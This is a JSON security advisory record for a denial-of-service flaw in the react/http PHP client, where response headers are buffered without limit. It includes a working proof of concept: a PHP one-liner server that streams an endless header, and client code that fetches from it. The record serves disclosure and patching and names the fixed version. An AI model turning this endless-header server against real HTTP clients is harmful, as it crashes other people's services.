{"id":"CVE-2026-104827","aliases":["GHSA-g4f2-2pf3-2pwj"],"url":"https://o3.security/vulnerability/CVE-2026-104827","summary":"react/http: Unbounded HTTP Client Response Header Buffering Leads to Memory Exhaustion DoS","details":"### Summary\n\n`React\\Http\\Browser` and its lower-level HTTP stack impose no limit on the size of a response's header section while it is being received. `ClientRequestStream::handleData()` appends every incoming byte to an internal buffer and only scans that buffer for the `\\r\\n\\r\\n` (or `\\n\\n`) terminator, without ever checking its length. A remote server that withholds the terminator and keeps streaming can grow the client's memory without bound until PHP's `memory_limit` is exhausted and the process crashes.\n\nThis is an unauthenticated, network-reachable denial of service against any application that uses `react/http` as a client to fetch untrusted or attacker-influenced URLs, including via redirects.\n\n### Details\n\n`ClientRequestStream::handleData()` is bound directly to the underlying connection's `data` event, so every byte the peer sends is appended with no size check:\n\n```php\npublic function handleData($data)\n{\n    $this->buffer .= $data;\n\n    // buffer until double CRLF (or double LF for compatibility with legacy servers)\n    $eom = \\strpos($this->buffer, \"\\r\\n\\r\\n\");\n    $eomLegacy = \\strpos($this->buffer, \"\\n\\n\");\n    if ($eom !== false || $eomLegacy !== false) {\n```\n\nThe only exit from the buffering state is finding the header terminator or a connection close, so until it arrives the buffer grows monotonically for as long as the peer keeps sending.\n\nThe codebase already applies this class of limit elsewhere, but not symmetrically. `RequestHeaderParser` caps incoming **request** headers when acting as a server, and `Transaction::bufferResponse()` caps the response **body**, but only once the header section has already been parsed into a `Response`. Response header reception was the one stage with no limit at all.\n\n### PoC\n\nAn HTTP server that sends a valid status line and a partial header, then streams indefinitely without ever terminating the header section:\n\n```bash\nphp -r '$s=stream_socket_server(\"tcp://127.0.0.1:18080\"); $c=stream_socket_accept($s); fread($c,8192); fwrite($c,\"HTTP/1.1 200 OK\\r\\nX-Fill: \"); while (true) { fwrite($c, str_repeat(\"A\",1048576)); usleep(10000); }'\n```\n\nA client fetching it, with `memory_limit=64M`:\n\n```php\n$browser = new React\\Http\\Browser();\n$browser->get(\"http://127.0.0.1:18080/\")->then(\n    function () { echo \"ok\\n\"; },\n    function ($e) { echo get_class($e) . \": \" . $e->getMessage() . \"\\n\"; }\n);\n```\n\nClient memory grows steadily until the process dies with `Allowed memory size ... exhausted` inside `ClientRequestStream::handleData()`.\n\n### Impact\n\nRemotely triggerable, unauthenticated denial of service against any process using `Browser` to fetch from an attacker-controlled, compromised or otherwise untrusted endpoint, including one reached through a redirect. No user interaction and no special privileges are required. Because there is no upper bound on the header buffer, a single cheap connection can drive memory arbitrarily high and crash the process, taking down whatever event loop or worker it was running. Confidentiality and integrity are unaffected; availability is fully impacted for that process.","published":"2026-10-15T18:19:32.785Z","modified":"2026-10-21T02:54:32.296659132Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"react/http","fixedVersion":"1.11.1"}],"fix":{"url":"https://github.com/reactphp/http/commit/2558622d0b76227c60c61eac8a61572cb6638e8c","label":"reactphp/http@2558622"},"references":[{"type":"WEB","url":"https://github.com/reactphp/http/releases/tag/v1.11.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/104xxx/CVE-2026-104827.json"},{"type":"ADVISORY","url":"https://github.com/reactphp/http/security/advisories/GHSA-g4f2-2pf3-2pwj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104827"},{"type":"FIX","url":"https://github.com/reactphp/http/commit/2558622d0b76227c60c61eac8a61572cb6638e8c"},{"type":"PACKAGE","url":"https://github.com/reactphp/http"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:54:32.296659132Z"}}